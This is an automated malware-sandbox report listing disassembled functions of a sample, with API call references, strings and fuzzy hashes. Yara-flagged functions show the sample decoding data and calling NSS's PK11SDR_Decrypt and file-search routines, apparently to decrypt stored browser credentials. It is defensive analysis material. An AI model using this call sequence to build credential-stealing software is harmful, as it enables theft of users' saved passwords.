Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$__allrem$memcpy$__aulldiv
String ID: %02d$%03d$%04d$%lld
API String ID: 703928654-3678606288
Opcode ID: f51cb7b9dbc1ed7e82c12838cda0f612ea28f890ed4a9a1603853f9a48eb29a2
Instruction ID: 2cddcd599645639908b554b09bfda2c8cc12af28ecc587a44a955d926ff1c0e9
Opcode Fuzzy Hash: f51cb7b9dbc1ed7e82c12838cda0f612ea28f890ed4a9a1603853f9a48eb29a2
Instruction Fuzzy Hash: 31F15372B087409FD319CF38C860B6BBBF6AFD5748F248A2DE48597651E730E4499B42

Uniqueness

Uniqueness Score: -1.00%

Function 6CEB1C30 Relevance: 23.2, APIs: 3, Strings: 10, Instructions: 485COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CEB1D58
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CEB1EFD
sqlite3_exec.NSS3(00000000,00000000,Function_00007370,?,00000000), ref: 6CEB1FB7

Strings

SELECT*FROM"%w".%s ORDER BY rowid, xrefs: 6CEB1F83
table, xrefs: 6CEB1C8B
attached databases must use the same text encoding as main database, xrefs: 6CEB20CA
abort due to ROLLBACK, xrefs: 6CEB2223
sqlite_temp_master, xrefs: 6CEB1C5C
sqlite_master, xrefs: 6CEB1C61
another row available, xrefs: 6CEB2287
no more rows available, xrefs: 6CEB2264
unknown error, xrefs: 6CEB2291
unsupported file format, xrefs: 6CEB2188

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@_byteswap_ulongsqlite3_exec
String ID: SELECT*FROM"%w".%s ORDER BY rowid$abort due to ROLLBACK$another row available$attached databases must use the same text encoding as main database$no more rows available$sqlite_master$sqlite_temp_master$table$unknown error$unsupported file format
API String ID: 563213449-2102270813
Opcode ID: 765ea400161633681922b84f68143ff98f2880269f9ebcebc67b128601ee6682
Instruction ID: 68790d5455da24e8b32fc65b06f5ccc5a68f6645121f9abbf1bc41633ba8aaf3
Opcode Fuzzy Hash: 765ea400161633681922b84f68143ff98f2880269f9ebcebc67b128601ee6682
Instruction Fuzzy Hash: 1912C1706083418FD705CF59C184B6AB7F2BF96318F28856DE889AB751D731E846CB82

Uniqueness

Uniqueness Score: -1.00%

Function 6CE9ECC0 Relevance: 20.0, APIs: 8, Strings: 3, Instructions: 741COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CE9ED0A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CE9EE68
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CE9EF87
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?), ref: 6CE9EF98

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CE9F483
%s at line %d of [%.10s], xrefs: 6CE9F492
database corruption, xrefs: 6CE9F48D

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: _byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 4101233201-598938438
Opcode ID: 2bc2f3b88d1cce0ed03bbb57b3da8f408b944f75cfd053f988d5f0d1eee0662b
Instruction ID: bbae04c6107fc8b5d2725e942a3be524323efd274b1a32a1050f72a9f376478c
Opcode Fuzzy Hash: 2bc2f3b88d1cce0ed03bbb57b3da8f408b944f75cfd053f988d5f0d1eee0662b
Instruction Fuzzy Hash: F562E270A04645CFEB04CF65C48079ABBB1BF4A31CF38419DE9456BB92D739E886CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6CFB9CB0 Relevance: 19.9, APIs: 13, Instructions: 366threadmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6CF9F450: PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,?,?,?,6CFBB213,?,00000004,?), ref: 6CF9F47E

PR_SetError.NSS3(FFFFD01C,00000000), ref: 6CFB9DC4
PR_SetError.NSS3(FFFFD01C,00000000), ref: 6CFB9DDD
PR_SetError.NSS3(FFFFD064,00000000), ref: 6CFB9EBE
PR_SetError.NSS3(FFFFD01C,00000000), ref: 6CFB9F2B
SECITEM_AllocItem_Util.NSS3(00000000,000009F8,?), ref: 6CFB9F63
memcpy.VCRUNTIME140(?,?,?), ref: 6CFB9F81
PR_GetCurrentThread.NSS3 ref: 6CFBA0A4
PR_SetError.NSS3(?,00000000), ref: 6CFBA0AF
PR_GetCurrentThread.NSS3 ref: 6CFBA0B7
PR_SetError.NSS3(FFFFD01C,00000000), ref: 6CFBA0D2
PR_GetCurrentThread.NSS3 ref: 6CFBA15A
PR_SetError.NSS3(?,00000000), ref: 6CFBA165
PR_GetCurrentThread.NSS3 ref: 6CFBA16D

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: Error$CurrentThread$AllocItem_Utilmemcpy
String ID:
API String ID: 808936167-0
Opcode ID: b48d537fd3732ef327a06b3e8ee0c5068290e261c1507ee30c56a231b7318997
Instruction ID: e7fb5c55f03138f56bd8815e8067697d8965e2b24f0a9d905b2a711295db4635
Opcode Fuzzy Hash: b48d537fd3732ef327a06b3e8ee0c5068290e261c1507ee30c56a231b7318997
Instruction Fuzzy Hash: 2ED193B5904340ABE7108F66DC41BDB7BF8AF58358F044529FD88A7752EB31D648CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6CF3FC80 Relevance: 19.8, APIs: 13, Instructions: 311COMMON

Download Yara Rule

APIs

PK11_HPKE_NewContext.NSS3(?,?,?,00000000,00000000), ref: 6CF3FD06

Part of subcall function 6CF3F670: PORT_ZAlloc_Util.NSS3(00000038), ref: 6CF3F696
Part of subcall function 6CF3F670: PK11_FreeSymKey.NSS3(?,?,?), ref: 6CF3F789
Part of subcall function 6CF3F670: SECITEM_ZfreeItem_Util.NSS3(?,?,?,?,?), ref: 6CF3F796
Part of subcall function 6CF3F670: free.MOZGLUE(00000000,?,?,?,?,?), ref: 6CF3F79F
Part of subcall function 6CF3F670: SECITEM_DupItem_Util.NSS3 ref: 6CF3F7F0

Part of subcall function 6CF63440: PK11_GetAllTokens.NSS3 ref: 6CF63481
Part of subcall function 6CF63440: PR_SetError.NSS3(00000000,00000000), ref: 6CF634A3
Part of subcall function 6CF63440: TlsGetValue.KERNEL32 ref: 6CF6352E
Part of subcall function 6CF63440: EnterCriticalSection.KERNEL32(?), ref: 6CF63542
Part of subcall function 6CF63440: PR_Unlock.NSS3(?), ref: 6CF6355B

SECITEM_DupItem_Util.NSS3(?), ref: 6CF3FDAD

Part of subcall function 6CF6FD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6CF19003,?), ref: 6CF6FD91
Part of subcall function 6CF6FD80: PORT_Alloc_Util.NSS3(A4686CF7,?), ref: 6CF6FDA2
Part of subcall function 6CF6FD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686CF7,?,?), ref: 6CF6FDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6CF3FE00

Part of subcall function 6CF6FD80: free.MOZGLUE(00000000,?,?), ref: 6CF6FDD1

Part of subcall function 6CF5E550: PR_SetError.NSS3(FFFFE005,00000000), ref: 6CF5E5A0

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CF3FEBB
PK11_FreeSymKey.NSS3(00000000), ref: 6CF3FEC8
PK11_HPKE_DestroyContext.NSS3(00000000,?), ref: 6CF3FED3
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CF3FF0C
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CF3FF23
PK11_ImportSymKey.NSS3(?,?,00000004,82000105,?,00000000), ref: 6CF3FF4D
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CF3FFDA
PK11_ImportSymKey.NSS3(?,0000402A,00000004,0000010C,?,00000000), ref: 6CF40007
PK11_CreateContextBySymKey.NSS3(?,82000105,?,?), ref: 6CF40029
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CF40044

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: K11_$ErrorUtil$Item_$Alloc_Context$FreeImportfree$CreateCriticalDestroyEnterSectionTokensUnlockValueZfreememcpy
String ID:
API String ID: 138705723-0
Opcode ID: b13d377e566e182999e72a747f0adf536f7ca95c3e7d96cef2fd2706d3ae490d
Instruction ID: 2ffc944501a47fe36f3cc12ebd8cf8529bc419c76f72f171ab75f45c2e615541
Opcode Fuzzy Hash: b13d377e566e182999e72a747f0adf536f7ca95c3e7d96cef2fd2706d3ae490d
Instruction Fuzzy Hash: F9B190B1604211AFE304CF29CC40A6BB7E5FB88308F558A6DE99D97B81E770E944CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6CF37D60 Relevance: 18.3, APIs: 12, Instructions: 299COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?), ref: 6CF37DDC

Part of subcall function 6CF707B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CF18298,?,?,?,6CF0FCE5,?), ref: 6CF707BF
Part of subcall function 6CF707B0: PL_HashTableLookup.NSS3(?,?), ref: 6CF707E6
Part of subcall function 6CF707B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CF7081B
Part of subcall function 6CF707B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CF70825

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CF37DF3
PK11_PBEKeyGen.NSS3(?,00000000,00000000,00000000,?), ref: 6CF37F07
PK11_GetPadMechanism.NSS3(00000000), ref: 6CF37F57
PK11_UnwrapPrivKey.NSS3(?,00000000,00000000,?,0000001C,00000000,?,?,?,00000000,00000130,00000004,?), ref: 6CF37F98
PK11_FreeSymKey.NSS3(?), ref: 6CF37FC9
SECITEM_ZfreeItem_Util.NSS3(?,?), ref: 6CF37FDE
PK11_PBEKeyGen.NSS3(?,?,00000000,?,?), ref: 6CF38000

Part of subcall function 6CF59430: SECOID_GetAlgorithmTag_Util.NSS3(00000000,?,?,00000000,00000000,?,6CF37F0C,?,00000000,00000000,00000000,?), ref: 6CF5943B
Part of subcall function 6CF59430: SECOID_FindOIDByTag_Util.NSS3(00000000,?,?), ref: 6CF5946B
Part of subcall function 6CF59430: SECITEM_ZfreeItem_Util.NSS3(00000000,?,?,?,?,?,?), ref: 6CF59546

SECITEM_ZfreeItem_Util.NSS3(?,?), ref: 6CF38110
PK11_FreeSymKey.NSS3(00000000), ref: 6CF3811D
PK11_ImportPublicKey.NSS3(?,?,?), ref: 6CF3822D
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CF3823C

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: K11_Util$FindItem_Tag_Zfree$ErrorFreeHashLookupPublicTable$AlgorithmConstDestroyImportMechanismPrivUnwrap
String ID:
API String ID: 1923011919-0
Opcode ID: ae1526462244955efe2682d6dca5d3ca8d3078f0e428844de4f7991855a88fc6
Instruction ID: d6f9c007dcc9505caf06e2d40266db1e9315e3353f32deb705edb1a79c585f72
Opcode Fuzzy Hash: ae1526462244955efe2682d6dca5d3ca8d3078f0e428844de4f7991855a88fc6
Instruction Fuzzy Hash: F1C152B1D00269EFEB21CF14CD40BEAB7B4AB15308F0481E6E91DA6641E7759E95CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 6CF40EC0 Relevance: 16.7, APIs: 11, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_PubDeriveWithKDF.NSS3 ref: 6CF40F8D
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CF40FB3
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6CF41006
PK11_FreeSymKey.NSS3(?), ref: 6CF4101C
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CF41033
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CF4103F
PK11_FreeSymKey.NSS3(00000000), ref: 6CF41048
memcpy.VCRUNTIME140(?,?,?), ref: 6CF4108E
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CF410BB
memcpy.VCRUNTIME140(?,00000006,?), ref: 6CF410D6
memcpy.VCRUNTIME140(?,?,?), ref: 6CF4112E

Part of subcall function 6CF41570: htonl.WSOCK32(?,?,?,?,?,?,?,?,6CF408C4,?,?), ref: 6CF415B8
Part of subcall function 6CF41570: htonl.WSOCK32(?,?,?,?,?,?,?,?,?,6CF408C4,?,?), ref: 6CF415C1
Part of subcall function 6CF41570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CF4162E
Part of subcall function 6CF41570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CF41637

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: K11_$FreeItem_Util$memcpy$AllocZfreehtonl$DeriveErrorWith
String ID:
API String ID: 1510409361-0
Opcode ID: 00eefa02c4a1e9ab1534d720424a42a19170a113e3486c3384dd6d5f6e6b5216
Instruction ID: b4339228fd115685b9b33745824d991ec1c5c0d02ff4e15754949f9b79dd25a0
Opcode Fuzzy Hash: 00eefa02c4a1e9ab1534d720424a42a19170a113e3486c3384dd6d5f6e6b5216
Instruction Fuzzy Hash: 5E71C1B1A002058FDB04CFA9DD84A6BBBB4FF48318F14C62DE91997712E771D964CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0040BF90 Relevance: 16.6, APIs: 11, Instructions: 93stringencryptionCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040BFC3
lstrlen.KERNEL32(?,?,?,00000000,00000000,00000000,00000000,?,02DD4CE0), ref: 0040BFE1
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0040BFEC
PK11_GetInternalKeySlot.NSS3 ref: 0040BFFA
PK11_Authenticate.NSS3(00000000,?,00000000), ref: 0040C015
PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 0040C05B
memcpy.MSVCRT ref: 0040C082
lstrcat.KERNEL32(?,0041D726), ref: 0040C0B3
lstrcat.KERNEL32(?,0041D727), ref: 0040C0C7
PK11_FreeSlot.NSS3(?), ref: 0040C0D1
lstrcat.KERNEL32(?,0041D72A), ref: 0040C0E8

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: K11_lstrcat$Slot$AuthenticateBinaryCryptDecryptFreeInternalStringlstrlenmemcpymemset
String ID:
API String ID: 3428224297-0
Opcode ID: 52605990ea01bca17d675fac138a1e19a7de02da9981d5b01ff6e8c7352eb267
Instruction ID: c615a08a89d19efff62b5a0e6981dcd2a682f0599fa2db432923c9597831d409
Opcode Fuzzy Hash: 52605990ea01bca17d675fac138a1e19a7de02da9981d5b01ff6e8c7352eb267
Instruction Fuzzy Hash: 22417E75D0420ADBDB20CF90DD88BEEBBB9BB48340F1041A9E605A72C0DB745A84CF95

Uniqueness

Uniqueness Score: -1.00%

Function 6CF61CE0 Relevance: 16.2, APIs: 5, Strings: 4, Instructions: 401COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000020), ref: 6CF61F19
memcpy.VCRUNTIME140(?,?,00000020), ref: 6CF62166
memcpy.VCRUNTIME140(?,?,00000010), ref: 6CF6228F
memcpy.VCRUNTIME140(?,?,00000010), ref: 6CF623B8
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CF6241C

Strings

token, xrefs: 6CF61F2C
manufacturer, xrefs: 6CF62179
model, xrefs: 6CF623CB, 6CF623EC
serial, xrefs: 6CF622A2

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: memcpy$Error
String ID: manufacturer$model$serial$token
API String ID: 3204416626-1906384322
Opcode ID: da4db12a06f4c45ac8caf1d8c9ec15b1c8f13a3bf1ea82d04233aeecb8b026a9
Instruction ID: 98506a77fb62ec760eb332897e3c7f630ffd9227a59754b6f12671eef41ad033
Opcode Fuzzy Hash: da4db12a06f4c45ac8caf1d8c9ec15b1c8f13a3bf1ea82d04233aeecb8b026a9
Instruction Fuzzy Hash: 37023DA2D0C7C86EF7318672C84D3D77AE09B46328F0D566EC6DE47E83C3A959889351

Uniqueness

Uniqueness Score: -1.00%

Function 0040D540 Relevance: 16.1, APIs: 7, Strings: 2, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,0041D746), ref: 0040D58E
StrCmpCA.SHLWAPI(?,0041DC28), ref: 0040D5DE
StrCmpCA.SHLWAPI(?,0041DC2C), ref: 0040D5F4
FindNextFileA.KERNEL32(000000FF,?), ref: 0040DB0A
FindClose.KERNEL32(000000FF), ref: 0040DB1C

Strings

\*.*, xrefs: 0040D556
[@, xrefs: 0040D562, 0040DB2A, 0040D623, 0040D5A5, 0040D626

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: [@$\*.*
API String ID: 2325840235-1445036518
Opcode ID: 231a36a4ed95cd77fcc3184051d8ebdef7fccbef33ee41f72164a89726e05793
Instruction ID: 5086e1dd9f189559ddbff5738d7534b81ef4efc7c2da90a7a59429af0ff5c2f4
Opcode Fuzzy Hash: 231a36a4ed95cd77fcc3184051d8ebdef7fccbef33ee41f72164a89726e05793
Instruction Fuzzy Hash: 27F1E3759142189ACB15FB61DC91EDE7739AF54304F8142DFA40A62091EF34AFC9CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 6CF66C00 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 190memorytimeCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CF11C6F,00000000,00000004,?,?), ref: 6CF66C3F

Part of subcall function 6CFBC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CFBC2BF

PORT_ArenaAlloc_Util.NSS3(?,0000000D,?,?,00000000,00000000,00000000,?,6CF11C6F,00000000,00000004,?,?), ref: 6CF66C60
PR_ExplodeTime.NSS3(00000000,6CF11C6F,?,?,?,?,?,00000000,00000000,00000000,?,6CF11C6F,00000000,00000004,?,?), ref: 6CF66C94

Strings

gfff, xrefs: 6CF66D66
gfff, xrefs: 6CF66CF5
gfff, xrefs: 6CF66D9C
gfff, xrefs: 6CF66CFD
gfff, xrefs: 6CF66D30

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: Alloc_ArenaErrorExplodeTimeUtilValue
String ID: gfff$gfff$gfff$gfff$gfff
API String ID: 3534712800-180463219
Opcode ID: 493e06e7c59ff3e9c34b210e00380fd5d31d224e1e8252153697069395bb4f46
Instruction ID: 45b3c76efd2cde4d93f5babbd0404e501741fa9e6b6b4df28d1f0dd6ae00f32f
Opcode Fuzzy Hash: 493e06e7c59ff3e9c34b210e00380fd5d31d224e1e8252153697069395bb4f46
Instruction Fuzzy Hash: A5513B72B016494FC718CEADDC527DABBDAABA4310F48C23AE441DBB81D678D906C751

Uniqueness

Uniqueness Score: -1.00%

Function 6CEAAEC0 Relevance: 13.7, APIs: 9, Instructions: 242COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000002,?,6CFCCF46,?,6CE9CDBD,?,6CFCBF31,?,?,?,?,?,?,?), ref: 6CEAB039
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6CFCCF46,?,6CE9CDBD,?,6CFCBF31), ref: 6CEAB090
sqlite3_free.NSS3(?,?,?,?,?,?,6CFCCF46,?,6CE9CDBD,?,6CFCBF31), ref: 6CEAB0A2
CloseHandle.KERNEL32(?,?,6CFCCF46,?,6CE9CDBD,?,6CFCBF31,?,?,?,?,?,?,?,?,?), ref: 6CEAB100
sqlite3_free.NSS3(?,?,00000002,?,6CFCCF46,?,6CE9CDBD,?,6CFCBF31,?,?,?,?,?,?,?), ref: 6CEAB115
sqlite3_free.NSS3(?,?,?,?,?,?,6CFCCF46,?,6CE9CDBD,?,6CFCBF31), ref: 6CEAB12D

Part of subcall function 6CE99EE0: EnterCriticalSection.KERNEL32(?,?,?,?,6CEAC6FD,?,?,?,?,6CEFF965,00000000), ref: 6CE99F0E
Part of subcall function 6CE99EE0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6CEFF965,00000000), ref: 6CE99F5D

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

